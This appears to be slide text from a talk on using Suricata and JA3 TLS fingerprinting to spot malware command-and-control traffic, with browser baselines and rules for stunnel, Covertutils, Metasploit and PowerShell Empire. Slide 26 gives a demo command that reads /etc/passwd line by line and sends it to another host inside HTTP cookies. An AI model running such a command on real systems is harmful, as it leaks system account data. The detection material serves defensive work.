Http ssl ja3 fingerprinting
- 4. Format Suricata support ja3_hash /ja3_string
- 9. Client ssl hello fingerprinting
- 10. Ja3 Client Hello Fingerprinting
- 13. chrome Browser
- 14. IE Browser
- 15. Firefox Browser
- 16. • SSL/TLS fingerprinting detection with Suricata • -Baseline HTTPs browser client ssl fingerprinting fingerprinting Mozilla,IE,Chrome Baseline different malware/c2 inside ssl tunnell Stunnell (behavior Malware/C2 analysis) -backcookies--> Constant timing + Data Exflitration Cookies -Covertutils --> Random Beaconing -Other C2 HTTP communication etc .... Metasploit Reverse HTTPS
- 17. User Segment Ony Client Internet NIPS -suricata HTTP client Hello fingerprinting Baseline Browser HTTPs fingerprint Mozilla Chrome IE Good Network Behavior Category Web Server Search Engine Free cert Paid cert Self-sign cert ? ?????? Bridge AP wifi
- 18. Installation of suricata 4.1.0
- 19. Installation of suricata 4.1.0 apt-get -y install libpcre3 libpcre3-dbg libpcre3-dev build-essential autoconf automake libtool libpcap-dev libnet1-dev libyaml-0-2 libyaml-dev zlib1g zlib1g-dev libmagic-dev libcap-ng-dev libjansson-dev pkg-config python-yaml apt-get -y install libnetfilter-queue-dev ./configure --enable-nfqueue --prefix=/usr --sysconfdir=/etc -- localstatedir=/var make && make install-full
- 20. Baseline Analysis Mozila/Firefox xbits with ip-dst
- 21. Baseline Analysis Mozila/Firefox xbits with ip-src
- 22. Baseline Analysis Mozila/Firefox xbits with track ip_pair
- 23. Baseline Analysis Mozila/Firefox xbits(ip-pair) + flowbits
- 24. stunnell ssl client fingerprinting
- 26. Data exflitration at cookies cat /etc/passwd | while read exfil; do python ./badcookie.py 192.168.1.149 "$exfil" ; done 192.168.1.149 socat TCP-LISTEN:80,bind=192.168.25.5,fork,reuseaddr,crlf SYSTEM:"echo HTTP/1.0 200; echo Content-Type: text/plain; echo;" socat TCP-LISTEN:80,bind=192.168.25.5,fork,reuseaddr,crlf SYSTEM:"echo HTTP/1.0 200; echo Content-Type: text/plain; echo;" cat /etc/passwd | while read exfil; do python ./badcookie.py 192.168.1.149 "$exfil" ; done
- 27. Data exflitration at cookies values
- 28. Data exflitration at cookies HTTPS 3 session
- 29. encryption a b c
- 30. Repeated with same size length 426 563 426 563
- 31. HTTP vs HTTP/2
- 34. Drop on purpose
- 36. Powershell Empire C2 HTTPS JA3 + TLS server
- 38. • Presentation by • Arora by protocolunique solution Q & A